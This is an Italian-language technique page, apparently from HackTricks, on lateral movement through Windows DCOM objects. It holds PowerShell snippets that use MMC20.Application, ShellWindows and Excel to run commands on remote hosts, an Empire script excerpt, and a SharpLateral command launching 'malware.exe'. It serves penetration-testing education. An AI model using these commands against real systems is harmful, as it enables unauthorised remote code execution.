DCOM Exec

Reading time: 6 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

MMC20.Application

Per ulteriori informazioni su questa tecnica, controlla il post originale da https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Gli oggetti del Distributed Component Object Model (DCOM) presentano una capacità interessante per interazioni basate su rete con oggetti. Microsoft fornisce documentazione completa sia per DCOM che per il Component Object Model (COM), accessibile qui per DCOM e qui per COM. Un elenco di applicazioni DCOM può essere recuperato utilizzando il comando PowerShell:

bash
Get-CimInstance Win32_DCOMApplication

L'oggetto COM, MMC Application Class (MMC20.Application), consente la scripting delle operazioni degli snap-in MMC. In particolare, questo oggetto contiene un metodo ExecuteShellCommand sotto Document.ActiveView. Maggiori informazioni su questo metodo possono essere trovate qui. Controllalo in esecuzione:

Questa funzionalità facilita l'esecuzione di comandi su una rete tramite un'applicazione DCOM. Per interagire con DCOM da remoto come amministratore, PowerShell può essere utilizzato come segue:

powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Questo comando si connette all'applicazione DCOM e restituisce un'istanza dell'oggetto COM. Il metodo ExecuteShellCommand può quindi essere invocato per eseguire un processo sull'host remoto. Il processo prevede i seguenti passaggi:

Controlla i metodi:

powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Ottieni RCE:

powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Per ulteriori informazioni su questa tecnica, controlla il post originale https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

L'oggetto MMC20.Application è stato identificato come privo di "LaunchPermissions" espliciti, impostando permessi che consentono l'accesso agli Amministratori. Per ulteriori dettagli, è possibile esplorare un thread qui, e si raccomanda l'uso di @tiraniddo’s OleView .NET per filtrare oggetti senza espliciti permessi di avvio.

Due oggetti specifici, ShellBrowserWindow e ShellWindows, sono stati evidenziati a causa della loro mancanza di permessi di avvio espliciti. L'assenza di una voce di registro LaunchPermission sotto HKCR:\AppID\{guid} indica che non ci sono permessi espliciti.

ShellWindows

Per ShellWindows, che manca di un ProgID, i metodi .NET Type.GetTypeFromCLSID e Activator.CreateInstance facilitano l'istanza dell'oggetto utilizzando il suo AppID. Questo processo sfrutta OleView .NET per recuperare il CLSID per ShellWindows. Una volta istanziato, è possibile interagire tramite il metodo WindowsShell.Item, portando a invocazioni di metodi come Document.Application.ShellExecute.

Esempi di comandi PowerShell sono stati forniti per istanziare l'oggetto ed eseguire comandi da remoto:

powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Movimento Laterale con Oggetti DCOM di Excel

Il movimento laterale può essere ottenuto sfruttando gli oggetti DCOM di Excel. Per informazioni dettagliate, è consigliabile leggere la discussione su come sfruttare Excel DDE per il movimento laterale tramite DCOM su il blog di Cybereason.

Il progetto Empire fornisce uno script PowerShell, che dimostra l'utilizzo di Excel per l'esecuzione remota di codice (RCE) manipolando gli oggetti DCOM. Di seguito sono riportati frammenti dello script disponibile su il repository GitHub di Empire, che mostrano diversi metodi per abusare di Excel per RCE:

powershell
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Strumenti di Automazione per il Movimento Laterale

Due strumenti sono evidenziati per automatizzare queste tecniche:

  • Invoke-DCOM.ps1: Uno script PowerShell fornito dal progetto Empire che semplifica l'invocazione di diversi metodi per eseguire codice su macchine remote. Questo script è accessibile nel repository GitHub di Empire.

  • SharpLateral: Uno strumento progettato per eseguire codice da remoto, che può essere utilizzato con il comando:

bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Strumenti Automatici

  • Lo script Powershell Invoke-DCOM.ps1 consente di invocare facilmente tutti i metodi commentati per eseguire codice su altre macchine.
  • Puoi anche utilizzare SharpLateral:
bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Riferimenti

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks